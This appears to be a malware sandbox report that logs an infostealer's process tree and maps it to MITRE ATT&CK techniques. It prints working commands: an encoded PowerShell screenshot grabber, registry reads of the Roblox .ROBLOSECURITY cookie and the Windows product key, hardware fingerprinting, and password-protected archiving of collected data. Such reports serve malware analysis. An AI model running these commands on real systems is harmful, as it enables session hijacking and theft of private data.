      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2480
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eywdc1l1\eywdc1l1.cmdline"
        5⤵
        
        PID:2236
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C6A.tmp" "c:\Users\Admin\AppData\Local\Temp\eywdc1l1\CSC8CF3FC97CF5E4F4DA945C12A2B7D1229.TMP"
        6⤵
        
        PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4516
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2984
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:768
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3412
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:2236
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI8162\rar.exe a -r -hp"skid" "C:\Users\Admin\AppData\Local\Temp\oOZyR.zip" *"
    3⤵
    PID:4772
  - - C:\Users\Admin\AppData\Local\Temp\_MEI8162\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI8162\rar.exe a -r -hp"skid" "C:\Users\Admin\AppData\Local\Temp\oOZyR.zip" *
      4⤵
      Executes dropped EXE
      PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4904
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:2096
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:1188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2272
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:5096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...